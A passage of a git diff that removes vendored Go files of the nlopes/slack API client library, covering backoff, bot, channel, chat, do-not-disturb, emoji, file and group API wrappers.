b/vendor/github.com/nlopes/slack/backoff.go deleted file mode 100644 index e555a1ad44..0000000000 --- a/vendor/github.com/nlopes/slack/backoff.go +++ /dev/null @@ -1,57 +0,0 @@ -package slack - -import ( - "math" - "math/rand" - "time" -) - -// This one was ripped from https://github.com/jpillora/backoff/blob/master/backoff.go - -// Backoff is a time.Duration counter. It starts at Min. After every -// call to Duration() it is multiplied by Factor. It is capped at -// Max. It returns to Min on every call to Reset(). Used in -// conjunction with the time package. -type backoff struct { - attempts int - //Factor is the multiplying factor for each increment step - Factor float64 - //Jitter eases contention by randomizing backoff steps - Jitter bool - //Min and Max are the minimum and maximum values of the counter - Min, Max time.Duration -} - -// Returns the current value of the counter and then multiplies it -// Factor -func (b *backoff) Duration() time.Duration { - //Zero-values are nonsensical, so we use - //them to apply defaults - if b.Min == 0 { - b.Min = 100 * time.Millisecond - } - if b.Max == 0 { - b.Max = 10 * time.Second - } - if b.Factor == 0 { - b.Factor = 2 - } - //calculate this duration - dur := float64(b.Min) * math.Pow(b.Factor, float64(b.attempts)) - if b.Jitter == true { - dur = rand.Float64()*(dur-float64(b.Min)) + float64(b.Min) - } - //cap! - if dur > float64(b.Max) { - return b.Max - } - //bump attempts count - b.attempts++ - //return as a time.Duration - return time.Duration(dur) -} - -//Resets the current value of the counter back to Min -func (b *backoff) Reset() { - b.attempts = 0 -} diff --git a/vendor/github.com/nlopes/slack/bots.go b/vendor/github.com/nlopes/slack/bots.go deleted file mode 100644 index 555915e49b..0000000000 --- a/vendor/github.com/nlopes/slack/bots.go +++ /dev/null @@ -1,44 +0,0 @@ -package slack - -import ( - "errors" - "net/url" -) - -// Bot contains information about a bot -type Bot struct { - ID string `json:"id"` - Name string `json:"name"` - Deleted bool `json:"deleted"` - Icons Icons `json:"icons"` -} - -type botResponseFull struct { - Bot `json:"bot,omitempty"` // GetBotInfo - SlackResponse -} - -func botRequest(path string, values url.Values, debug bool) (*botResponseFull, error) { - response := &botResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// GetBotInfo will retrieve the complete bot information -func (api *Client) GetBotInfo(bot string) (*Bot, error) { - values := url.Values{ - "token": {api.config.token}, - "bot": {bot}, - } - response, err := botRequest("bots.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.Bot, nil -} diff --git a/vendor/github.com/nlopes/slack/channels.go b/vendor/github.com/nlopes/slack/channels.go deleted file mode 100644 index b868e77556..0000000000 --- a/vendor/github.com/nlopes/slack/channels.go +++ /dev/null @@ -1,275 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -type channelResponseFull struct { - Channel Channel `json:"channel"` - Channels []Channel `json:"channels"` - Purpose string `json:"purpose"` - Topic string `json:"topic"` - NotInChannel bool `json:"not_in_channel"` - History - SlackResponse -} - -// Channel contains information about the channel -type Channel struct { - groupConversation - IsChannel bool `json:"is_channel"` - IsGeneral bool `json:"is_general"` - IsMember bool `json:"is_member"` -} - -func channelRequest(path string, values url.Values, debug bool) (*channelResponseFull, error) { - response := &channelResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// ArchiveChannel archives the given channel -func (api *Client) ArchiveChannel(channel string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - _, err := channelRequest("channels.archive", values, api.debug) - if err != nil { - return err - } - return nil -} - -// UnarchiveChannel unarchives the given channel -func (api *Client) UnarchiveChannel(channel string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - _, err := channelRequest("channels.unarchive", values, api.debug) - if err != nil { - return err - } - return nil -} - -// CreateChannel creates a channel with the given name and returns a *Channel -func (api *Client) CreateChannel(channel string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "name": {channel}, - } - response, err := channelRequest("channels.create", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil -} - -// GetChannelHistory retrieves the channel history -func (api *Client) GetChannelHistory(channel string, params HistoryParameters) (*History, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - if params.Latest != DEFAULT_HISTORY_LATEST { - values.Add("latest", params.Latest) - } - if params.Oldest != DEFAULT_HISTORY_OLDEST { - values.Add("oldest", params.Oldest) - } - if params.Count != DEFAULT_HISTORY_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Inclusive != DEFAULT_HISTORY_INCLUSIVE { - if params.Inclusive { - values.Add("inclusive", "1") - } else { - values.Add("inclusive", "0") - } - } - if params.Unreads != DEFAULT_HISTORY_UNREADS { - if params.Unreads { - values.Add("unreads", "1") - } else { - values.Add("unreads", "0") - } - } - response, err := channelRequest("channels.history", values, api.debug) - if err != nil { - return nil, err - } - return &response.History, nil -} - -// GetChannelInfo retrieves the given channel -func (api *Client) GetChannelInfo(channel string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - response, err := channelRequest("channels.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil -} - -// InviteUserToChannel invites a user to a given channel and returns a *Channel -func (api *Client) InviteUserToChannel(channel, user string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "user": {user}, - } - response, err := channelRequest("channels.invite", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil -} - -// JoinChannel joins the currently authenticated user to a channel -func (api *Client) JoinChannel(channel string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "name": {channel}, - } - response, err := channelRequest("channels.join", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil -} - -// LeaveChannel makes the authenticated user leave the given channel -func (api *Client) LeaveChannel(channel string) (bool, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - response, err := channelRequest("channels.leave", values, api.debug) - if err != nil { - return false, err - } - if response.NotInChannel { - return response.NotInChannel, nil - } - return false, nil -} - -// KickUserFromChannel kicks a user from a given channel -func (api *Client) KickUserFromChannel(channel, user string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "user": {user}, - } - _, err := channelRequest("channels.kick", values, api.debug) - if err != nil { - return err - } - return nil -} - -// GetChannels retrieves all the channels -func (api *Client) GetChannels(excludeArchived bool) ([]Channel, error) { - values := url.Values{ - "token": {api.config.token}, - } - if excludeArchived { - values.Add("exclude_archived", "1") - } - response, err := channelRequest("channels.list", values, api.debug) - if err != nil { - return nil, err - } - return response.Channels, nil -} - -// SetChannelReadMark sets the read mark of a given channel to a specific point -// Clients should try to avoid making this call too often. When needing to mark a read position, a client should set a -// timer before making the call. In this way, any further updates needed during the timeout will not generate extra calls -// (just one per channel). This is useful for when reading scroll-back history, or following a busy live channel. A -// timeout of 5 seconds is a good starting point. Be sure to flush these calls on shutdown/logout. -func (api *Client) SetChannelReadMark(channel, ts string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "ts": {ts}, - } - _, err := channelRequest("channels.mark", values, api.debug) - if err != nil { - return err - } - return nil -} - -// RenameChannel renames a given channel -func (api *Client) RenameChannel(channel, name string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "name": {name}, - } - // XXX: the created entry in this call returns a string instead of a number - // so I may have to do some workaround to solve it. - response, err := channelRequest("channels.rename", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil - -} - -// SetChannelPurpose sets the channel purpose and returns the purpose that was -// successfully set -func (api *Client) SetChannelPurpose(channel, purpose string) (string, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "purpose": {purpose}, - } - response, err := channelRequest("channels.setPurpose", values, api.debug) - if err != nil { - return "", err - } - return response.Purpose, nil -} - -// SetChannelTopic sets the channel topic and returns the topic that was successfully set -func (api *Client) SetChannelTopic(channel, topic string) (string, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "topic": {topic}, - } - response, err := channelRequest("channels.setTopic", values, api.debug) - if err != nil { - return "", err - } - return response.Topic, nil -} - -// GetChannelReplies gets an entire thread (a message plus all the messages in reply to it). -func (api *Client) GetChannelReplies(channel, thread_ts string) ([]Message, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "thread_ts": {thread_ts}, - } - response, err := channelRequest("channels.replies", values, api.debug) - if err != nil { - return nil, err - } - return response.History.Messages, nil -} diff --git a/vendor/github.com/nlopes/slack/chat.go b/vendor/github.com/nlopes/slack/chat.go deleted file mode 100644 index d494c7b92f..0000000000 --- a/vendor/github.com/nlopes/slack/chat.go +++ /dev/null @@ -1,289 +0,0 @@ -package slack - -import ( - "encoding/json" - "errors" - "net/url" - "strings" -) - -const ( - DEFAULT_MESSAGE_USERNAME = "" - DEFAULT_MESSAGE_THREAD_TIMESTAMP = "" - DEFAULT_MESSAGE_ASUSER = false - DEFAULT_MESSAGE_PARSE = "" - DEFAULT_MESSAGE_LINK_NAMES = 0 - DEFAULT_MESSAGE_UNFURL_LINKS = false - DEFAULT_MESSAGE_UNFURL_MEDIA = true - DEFAULT_MESSAGE_ICON_URL = "" - DEFAULT_MESSAGE_ICON_EMOJI = "" - DEFAULT_MESSAGE_MARKDOWN = true - DEFAULT_MESSAGE_ESCAPE_TEXT = true -) - -type chatResponseFull struct { - Channel string `json:"channel"` - Timestamp string `json:"ts"` - Text string `json:"text"` - SlackResponse -} - -// PostMessageParameters contains all the parameters necessary (including the optional ones) for a PostMessage() request -type PostMessageParameters struct { - Text string `json:"text"` - Username string `json:"user_name"` - AsUser bool `json:"as_user"` - Parse string `json:"parse"` - ThreadTimestamp string `json:"thread_ts"` - LinkNames int `json:"link_names"` - Attachments []Attachment `json:"attachments"` - UnfurlLinks bool `json:"unfurl_links"` - UnfurlMedia bool `json:"unfurl_media"` - IconURL string `json:"icon_url"` - IconEmoji string `json:"icon_emoji"` - Markdown bool `json:"mrkdwn,omitempty"` - EscapeText bool `json:"escape_text"` -} - -// NewPostMessageParameters provides an instance of PostMessageParameters with all the sane default values set -func NewPostMessageParameters() PostMessageParameters { - return PostMessageParameters{ - Username: DEFAULT_MESSAGE_USERNAME, - AsUser: DEFAULT_MESSAGE_ASUSER, - Parse: DEFAULT_MESSAGE_PARSE, - LinkNames: DEFAULT_MESSAGE_LINK_NAMES, - Attachments: nil, - UnfurlLinks: DEFAULT_MESSAGE_UNFURL_LINKS, - UnfurlMedia: DEFAULT_MESSAGE_UNFURL_MEDIA, - IconURL: DEFAULT_MESSAGE_ICON_URL, - IconEmoji: DEFAULT_MESSAGE_ICON_EMOJI, - Markdown: DEFAULT_MESSAGE_MARKDOWN, - EscapeText: DEFAULT_MESSAGE_ESCAPE_TEXT, - } -} - -// DeleteMessage deletes a message in a channel -func (api *Client) DeleteMessage(channel, messageTimestamp string) (string, string, error) { - respChannel, respTimestamp, _, err := api.SendMessage(channel, MsgOptionDelete(messageTimestamp)) - return respChannel, respTimestamp, err -} - -// PostMessage sends a message to a channel. -// Message is escaped by default according to https://api.slack.com/docs/formatting -// Use http://davestevens.github.io/slack-message-builder/ to help crafting your message. -func (api *Client) PostMessage(channel, text string, params PostMessageParameters) (string, string, error) { - respChannel, respTimestamp, _, err := api.SendMessage( - channel, - MsgOptionText(text, params.EscapeText), - MsgOptionAttachments(params.Attachments...), - MsgOptionPostMessageParameters(params), - ) - return respChannel, respTimestamp, err -} - -// UpdateMessage updates a message in a channel -func (api *Client) UpdateMessage(channel, timestamp, text string) (string, string, string, error) { - return api.SendMessage(channel, MsgOptionUpdate(timestamp), MsgOptionText(text, true)) -} - -// SendMessage more flexible method for configuring messages. -func (api *Client) SendMessage(channel string, options ...MsgOption) (string, string, string, error) { - channel, values, err := ApplyMsgOptions(api.config.token, channel, options...) - if err != nil { - return "", "", "", err - } - - response, err := chatRequest(channel, values, api.debug) - if err != nil { - return "", "", "", err - } - - return response.Channel, response.Timestamp, response.Text, nil -} - -// ApplyMsgOptions utility function for debugging/testing chat requests. -func ApplyMsgOptions(token, channel string, options ...MsgOption) (string, url.Values, error) { - config := sendConfig{ - mode: chatPostMessage, - values: url.Values{ - "token": {token}, - "channel": {channel}, - }, - } - - for _, opt := range options { - if err := opt(&config); err != nil { - return string(config.mode), config.values, err - } - } - - return string(config.mode), config.values, nil -} - -func escapeMessage(message string) string { - replacer := strings.NewReplacer("&", "&", "<", "<", ">", ">") - return replacer.Replace(message) -} - -func chatRequest(path string, values url.Values, debug bool) (*chatResponseFull, error) { - response := &chatResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -type sendMode string - -const ( - chatUpdate sendMode = "chat.update" - chatPostMessage sendMode = "chat.postMessage" - chatDelete sendMode = "chat.delete" -) - -type sendConfig struct { - mode sendMode - values url.Values -} - -// MsgOption option provided when sending a message. -type MsgOption func(*sendConfig) error - -// MsgOptionPost posts a messages, this is the default. -func MsgOptionPost() MsgOption { - return func(config *sendConfig) error { - config.mode = chatPostMessage - config.values.Del("ts") - return nil - } -} - -// MsgOptionUpdate updates a message based on the timestamp. -func MsgOptionUpdate(timestamp string) MsgOption { - return func(config *sendConfig) error { - config.mode = chatUpdate - config.values.Add("ts", timestamp) - return nil - } -} - -// MsgOptionDelete deletes a message based on the timestamp. -func MsgOptionDelete(timestamp string) MsgOption { - return func(config *sendConfig) error { - config.mode = chatDelete - config.values.Add("ts", timestamp) - return nil - } -} - -// MsgOptionAsUser whether or not to send the message as the user. -func MsgOptionAsUser(b bool) MsgOption { - return func(config *sendConfig) error { - if b != DEFAULT_MESSAGE_ASUSER { - config.values.Set("as_user", "true") - } - return nil - } -} - -// MsgOptionText provide the text for the message, optionally escape the provided -// text. -func MsgOptionText(text string, escape bool) MsgOption { - return func(config *sendConfig) error { - if escape { - text = escapeMessage(text) - } - config.values.Add("text", text) - return nil - } -} - -// MsgOptionAttachments provide attachments for the message. -func MsgOptionAttachments(attachments ...Attachment) MsgOption { - return func(config *sendConfig) error { - if attachments == nil { - return nil - } - - attachments, err := json.Marshal(attachments) - if err == nil { - config.values.Set("attachments", string(attachments)) - } - return err - } -} - -// MsgOptionEnableLinkUnfurl enables link unfurling -func MsgOptionEnableLinkUnfurl() MsgOption { - return func(config *sendConfig) error { - config.values.Set("unfurl_links", "true") - return nil - } -} - -// MsgOptionDisableMediaUnfurl disables media unfurling. -func MsgOptionDisableMediaUnfurl() MsgOption { - return func(config *sendConfig) error { - config.values.Set("unfurl_media", "false") - return nil - } -} - -// MsgOptionDisableMarkdown disables markdown. -func MsgOptionDisableMarkdown() MsgOption { - return func(config *sendConfig) error { - config.values.Set("mrkdwn", "false") - return nil - } -} - -// MsgOptionPostMessageParameters maintain backwards compatibility. -func MsgOptionPostMessageParameters(params PostMessageParameters) MsgOption { - return func(config *sendConfig) error { - if params.Username != DEFAULT_MESSAGE_USERNAME { - config.values.Set("username", string(params.Username)) - } - - // never generates an error. - MsgOptionAsUser(params.AsUser)(config) - - if params.Parse != DEFAULT_MESSAGE_PARSE { - config.values.Set("parse", string(params.Parse)) - } - if params.LinkNames != DEFAULT_MESSAGE_LINK_NAMES { - config.values.Set("link_names", "1") - } - - if params.UnfurlLinks != DEFAULT_MESSAGE_UNFURL_LINKS { - config.values.Set("unfurl_links", "true") - } - - // I want to send a message with explicit `as_user` `true` and `unfurl_links` `false` in request. - // Because setting `as_user` to `true` will change the default value for `unfurl_links` to `true` on Slack API side. - if params.AsUser != DEFAULT_MESSAGE_ASUSER && params.UnfurlLinks == DEFAULT_MESSAGE_UNFURL_LINKS { - config.values.Set("unfurl_links", "false") - } - if params.UnfurlMedia != DEFAULT_MESSAGE_UNFURL_MEDIA { - config.values.Set("unfurl_media", "false") - } - if params.IconURL != DEFAULT_MESSAGE_ICON_URL { - config.values.Set("icon_url", params.IconURL) - } - if params.IconEmoji != DEFAULT_MESSAGE_ICON_EMOJI { - config.values.Set("icon_emoji", params.IconEmoji) - } - if params.Markdown != DEFAULT_MESSAGE_MARKDOWN { - config.values.Set("mrkdwn", "false") - } - - if params.ThreadTimestamp != DEFAULT_MESSAGE_THREAD_TIMESTAMP { - config.values.Set("thread_ts", params.ThreadTimestamp) - } - - return nil - } -} diff --git a/vendor/github.com/nlopes/slack/comment.go b/vendor/github.com/nlopes/slack/comment.go deleted file mode 100644 index 7d1c0d4eb2..0000000000 --- a/vendor/github.com/nlopes/slack/comment.go +++ /dev/null @@ -1,10 +0,0 @@ -package slack - -// Comment contains all the information relative to a comment -type Comment struct { - ID string `json:"id,omitempty"` - Created JSONTime `json:"created,omitempty"` - Timestamp JSONTime `json:"timestamp,omitempty"` - User string `json:"user,omitempty"` - Comment string `json:"comment,omitempty"` -} diff --git a/vendor/github.com/nlopes/slack/conversation.go b/vendor/github.com/nlopes/slack/conversation.go deleted file mode 100644 index 83a1d4eeee..0000000000 --- a/vendor/github.com/nlopes/slack/conversation.go +++ /dev/null @@ -1,37 +0,0 @@ -package slack - -// Conversation is the foundation for IM and BaseGroupConversation -type conversation struct { - ID string `json:"id"` - Created JSONTime `json:"created"` - IsOpen bool `json:"is_open"` - LastRead string `json:"last_read,omitempty"` - Latest *Message `json:"latest,omitempty"` - UnreadCount int `json:"unread_count,omitempty"` - UnreadCountDisplay int `json:"unread_count_display,omitempty"` -} - -// GroupConversation is the foundation for Group and Channel -type groupConversation struct { - conversation - Name string `json:"name"` - Creator string `json:"creator"` - IsArchived bool `json:"is_archived"` - Members []string `json:"members"` - Topic Topic `json:"topic"` - Purpose Purpose `json:"purpose"` -} - -// Topic contains information about the topic -type Topic struct { - Value string `json:"value"` - Creator string `json:"creator"` - LastSet JSONTime `json:"last_set"` -} - -// Purpose contains information about the purpose -type Purpose struct { - Value string `json:"value"` - Creator string `json:"creator"` - LastSet JSONTime `json:"last_set"` -} diff --git a/vendor/github.com/nlopes/slack/dnd.go b/vendor/github.com/nlopes/slack/dnd.go deleted file mode 100644 index ac87758d82..0000000000 --- a/vendor/github.com/nlopes/slack/dnd.go +++ /dev/null @@ -1,123 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" - "strings" -) - -type SnoozeDebug struct { - SnoozeEndDate string `json:"snooze_end_date"` -} - -type SnoozeInfo struct { - SnoozeEnabled bool `json:"snooze_enabled,omitempty"` - SnoozeEndTime int `json:"snooze_endtime,omitempty"` - SnoozeRemaining int `json:"snooze_remaining,omitempty"` - SnoozeDebug SnoozeDebug `json:"snooze_debug,omitempty"` -} - -type DNDStatus struct { - Enabled bool `json:"dnd_enabled"` - NextStartTimestamp int `json:"next_dnd_start_ts"` - NextEndTimestamp int `json:"next_dnd_end_ts"` - SnoozeInfo -} - -type dndResponseFull struct { - DNDStatus - SlackResponse -} - -type dndTeamInfoResponse struct { - Users map[string]DNDStatus `json:"users"` - SlackResponse -} - -func dndRequest(path string, values url.Values, debug bool) (*dndResponseFull, error) { - response := &dndResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// EndDND ends the user's scheduled Do Not Disturb session -func (api *Client) EndDND() error { - values := url.Values{ - "token": {api.config.token}, - } - - response := &SlackResponse{} - if err := post("dnd.endDnd", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// EndSnooze ends the current user's snooze mode -func (api *Client) EndSnooze() (*DNDStatus, error) { - values := url.Values{ - "token": {api.config.token}, - } - - response, err := dndRequest("dnd.endSnooze", values, api.debug) - if err != nil { - return nil, err - } - return &response.DNDStatus, nil -} - -// GetDNDInfo provides information about a user's current Do Not Disturb settings. -func (api *Client) GetDNDInfo(user *string) (*DNDStatus, error) { - values := url.Values{ - "token": {api.config.token}, - } - if user != nil { - values.Set("user", *user) - } - response, err := dndRequest("dnd.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.DNDStatus, nil -} - -// GetDNDTeamInfo provides information about a user's current Do Not Disturb settings. -func (api *Client) GetDNDTeamInfo(users []string) (map[string]DNDStatus, error) { - values := url.Values{ - "token": {api.config.token}, - "users": {strings.Join(users, ",")}, - } - response := &dndTeamInfoResponse{} - if err := post("dnd.teamInfo", values, response, api.debug); err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response.Users, nil -} - -// SetSnooze adjusts the snooze duration for a user's Do Not Disturb -// settings. If a snooze session is not already active for the user, invoking -// this method will begin one for the specified duration. -func (api *Client) SetSnooze(minutes int) (*DNDStatus, error) { - values := url.Values{ - "token": {api.config.token}, - "num_minutes": {strconv.Itoa(minutes)}, - } - response, err := dndRequest("dnd.setSnooze", values, api.debug) - if err != nil { - return nil, err - } - return &response.DNDStatus, nil -} diff --git a/vendor/github.com/nlopes/slack/emoji.go b/vendor/github.com/nlopes/slack/emoji.go deleted file mode 100644 index 776c4a5f99..0000000000 --- a/vendor/github.com/nlopes/slack/emoji.go +++ /dev/null @@ -1,27 +0,0 @@ -package slack - -import ( - "errors" - "net/url" -) - -type emojiResponseFull struct { - Emoji map[string]string `json:"emoji"` - SlackResponse -} - -// GetEmoji retrieves all the emojis -func (api *Client) GetEmoji() (map[string]string, error) { - values := url.Values{ - "token": {api.config.token}, - } - response := &emojiResponseFull{} - err := post("emoji.list", values, response, api.debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response.Emoji, nil -} diff --git a/vendor/github.com/nlopes/slack/files.go b/vendor/github.com/nlopes/slack/files.go deleted file mode 100644 index 0808ed9194..0000000000 --- a/vendor/github.com/nlopes/slack/files.go +++ /dev/null @@ -1,280 +0,0 @@ -package slack - -import ( - "errors" - "io" - "net/url" - "strconv" - "strings" -) - -const ( - // Add here the defaults in the siten - DEFAULT_FILES_USER = "" - DEFAULT_FILES_CHANNEL = "" - DEFAULT_FILES_TS_FROM = 0 - DEFAULT_FILES_TS_TO = -1 - DEFAULT_FILES_TYPES = "all" - DEFAULT_FILES_COUNT = 100 - DEFAULT_FILES_PAGE = 1 -) - -// File contains all the information for a file -type File struct { - ID string `json:"id"` - Created JSONTime `json:"created"` - Timestamp JSONTime `json:"timestamp"` - - Name string `json:"name"` - Title string `json:"title"` - Mimetype string `json:"mimetype"` - ImageExifRotation int `json:"image_exif_rotation"` - Filetype string `json:"filetype"` - PrettyType string `json:"pretty_type"` - User string `json:"user"` - - Mode string `json:"mode"` - Editable bool `json:"editable"` - IsExternal bool `json:"is_external"` - ExternalType string `json:"external_type"` - - Size int `json:"size"` - - URL string `json:"url"` // Deprecated - never set - URLDownload string `json:"url_download"` // Deprecated - never set - URLPrivate string `json:"url_private"` - URLPrivateDownload string `json:"url_private_download"` - - OriginalH int `json:"original_h"` - OriginalW int `json:"original_w"` - Thumb64 string `json:"thumb_64"` - Thumb80 string `json:"thumb_80"` - Thumb160 string `json:"thumb_160"` - Thumb360 string `json:"thumb_360"` - Thumb360Gif string `json:"thumb_360_gif"` - Thumb360W int `json:"thumb_360_w"` - Thumb360H int `json:"thumb_360_h"` - Thumb480 string `json:"thumb_480"` - Thumb480W int `json:"thumb_480_w"` - Thumb480H int `json:"thumb_480_h"` - Thumb720 string `json:"thumb_720"` - Thumb720W int `json:"thumb_720_w"` - Thumb720H int `json:"thumb_720_h"` - Thumb960 string `json:"thumb_960"` - Thumb960W int `json:"thumb_960_w"` - Thumb960H int `json:"thumb_960_h"` - Thumb1024 string `json:"thumb_1024"` - Thumb1024W int `json:"thumb_1024_w"` - Thumb1024H int `json:"thumb_1024_h"` - - Permalink string `json:"permalink"` - PermalinkPublic string `json:"permalink_public"` - - EditLink string `json:"edit_link"` - Preview string `json:"preview"` - PreviewHighlight string `json:"preview_highlight"` - Lines int `json:"lines"` - LinesMore int `json:"lines_more"` - - IsPublic bool `json:"is_public"` - PublicURLShared bool `json:"public_url_shared"` - Channels []string `json:"channels"` - Groups []string `json:"groups"` - IMs []string `json:"ims"` - InitialComment Comment `json:"initial_comment"` - CommentsCount int `json:"comments_count"` - NumStars int `json:"num_stars"` - IsStarred bool `json:"is_starred"` -} - -// FileUploadParameters contains all the parameters necessary (including the optional ones) for an UploadFile() request. -// -// There are three ways to upload a file. You can either set Content if file is small, set Reader if file is large, -// or provide a local file path in File to upload it from your filesystem. -type FileUploadParameters struct { - File string - Content string - Reader io.Reader - Filetype string - Filename string - Title string - InitialComment string - Channels []string -} - -// GetFilesParameters contains all the parameters necessary (including the optional ones) for a GetFiles() request -type GetFilesParameters struct { - User string - Channel string - TimestampFrom JSONTime - TimestampTo JSONTime - Types string - Count int - Page int -} - -type fileResponseFull struct { - File `json:"file"` - Paging `json:"paging"` - Comments []Comment `json:"comments"` - Files []File `json:"files"` - - SlackResponse -} - -// NewGetFilesParameters provides an instance of GetFilesParameters with all the sane default values set -func NewGetFilesParameters() GetFilesParameters { - return GetFilesParameters{ - User: DEFAULT_FILES_USER, - Channel: DEFAULT_FILES_CHANNEL, - TimestampFrom: DEFAULT_FILES_TS_FROM, - TimestampTo: DEFAULT_FILES_TS_TO, - Types: DEFAULT_FILES_TYPES, - Count: DEFAULT_FILES_COUNT, - Page: DEFAULT_FILES_PAGE, - } -} - -func fileRequest(path string, values url.Values, debug bool) (*fileResponseFull, error) { - response := &fileResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// GetFileInfo retrieves a file and related comments -func (api *Client) GetFileInfo(fileID string, count, page int) (*File, []Comment, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - "file": {fileID}, - "count": {strconv.Itoa(count)}, - "page": {strconv.Itoa(page)}, - } - response, err := fileRequest("files.info", values, api.debug) - if err != nil { - return nil, nil, nil, err - } - return &response.File, response.Comments, &response.Paging, nil -} - -// GetFiles retrieves all files according to the parameters given -func (api *Client) GetFiles(params GetFilesParameters) ([]File, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - } - if params.User != DEFAULT_FILES_USER { - values.Add("user", params.User) - } - if params.Channel != DEFAULT_FILES_CHANNEL { - values.Add("channel", params.Channel) - } - if params.TimestampFrom != DEFAULT_FILES_TS_FROM { - values.Add("ts_from", strconv.FormatInt(int64(params.TimestampFrom), 10)) - } - if params.TimestampTo != DEFAULT_FILES_TS_TO { - values.Add("ts_to", strconv.FormatInt(int64(params.TimestampTo), 10)) - } - if params.Types != DEFAULT_FILES_TYPES { - values.Add("types", params.Types) - } - if params.Count != DEFAULT_FILES_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Page != DEFAULT_FILES_PAGE { - values.Add("page", strconv.Itoa(params.Page)) - } - response, err := fileRequest("files.list", values, api.debug) - if err != nil { - return nil, nil, err - } - return response.Files, &response.Paging, nil -} - -// UploadFile uploads a file -func (api *Client) UploadFile(params FileUploadParameters) (file *File, err error) { - // Test if user token is valid. This helps because client.Do doesn't like this for some reason. XXX: More - // investigation needed, but for now this will do. - _, err = api.AuthTest() - if err != nil { - return nil, err - } - response := &fileResponseFull{} - values := url.Values{ - "token": {api.config.token}, - } - if params.Filetype != "" { - values.Add("filetype", params.Filetype) - } - if params.Filename != "" { - values.Add("filename", params.Filename) - } - if params.Title != "" { - values.Add("title", params.Title) - } - if params.InitialComment != "" { - values.Add("initial_comment", params.InitialComment) - } - if len(params.Channels) != 0 { - values.Add("channels", strings.Join(params.Channels, ",")) - } - if params.Content != "" { - values.Add("content", params.Content) - err = post("files.upload", values, response, api.debug) - } else if params.File != "" { - err = postLocalWithMultipartResponse("files.upload", params.File, "file", values, response, api.debug) - } else if params.Reader != nil { - err = postWithMultipartResponse("files.upload", params.Filename, "file", values, params.Reader, response, api.debug) - } - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return &response.File, nil -} - -// DeleteFile deletes a file -func (api *Client) DeleteFile(fileID string) error { - values := url.Values{ - "token": {api.config.token}, - "file": {fileID}, - } - _, err := fileRequest("files.delete", values, api.debug) - if err != nil { - return err - } - return nil - -} - -// RevokeFilePublicURL disables public/external sharing for a file -func (api *Client) RevokeFilePublicURL(fileID string) (*File, error) { - values := url.Values{ - "token": {api.config.token}, - "file": {fileID}, - } - response, err := fileRequest("files.revokePublicURL", values, api.debug) - if err != nil { - return nil, err - } - return &response.File, nil -} - -// ShareFilePublicURL enabled public/external sharing for a file -func (api *Client) ShareFilePublicURL(fileID string) (*File, []Comment, *Paging, error) { - values := url.Values{ - "token": {api.config.token}, - "file": {fileID}, - } - response, err := fileRequest("files.sharedPublicURL", values, api.debug) - if err != nil { - return nil, nil, nil, err - } - return &response.File, response.Comments, &response.Paging, nil -} diff --git a/vendor/github.com/nlopes/slack/groups.go b/vendor/github.com/nlopes/slack/groups.go deleted file mode 100644 index ec4a3b6578..0000000000 --- a/vendor/github.com/nlopes/slack/groups.go +++ /dev/null @@ -1,293 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -// Group contains all the information for a group -type Group struct { - groupConversation - IsGroup bool `json:"is_group"` -} - -type groupResponseFull struct { - Group Group `json:"group"` - Groups []Group `json:"groups"` - Purpose string `json:"purpose"` - Topic string `json:"topic"` - NotInGroup bool `json:"not_in_group"` - NoOp bool `json:"no_op"` - AlreadyClosed bool `json:"already_closed"` - AlreadyOpen bool `json:"already_open"` - AlreadyInGroup bool `json:"already_in_group"` - Channel Channel `json:"channel"` - History - SlackResponse -} - -func groupRequest(path string, values url.Values, debug bool) (*groupResponseFull, error) { - response := &groupResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// ArchiveGroup archives a private group -func (api *Client) ArchiveGroup(group string) error { - values := url.Values{ - "token": 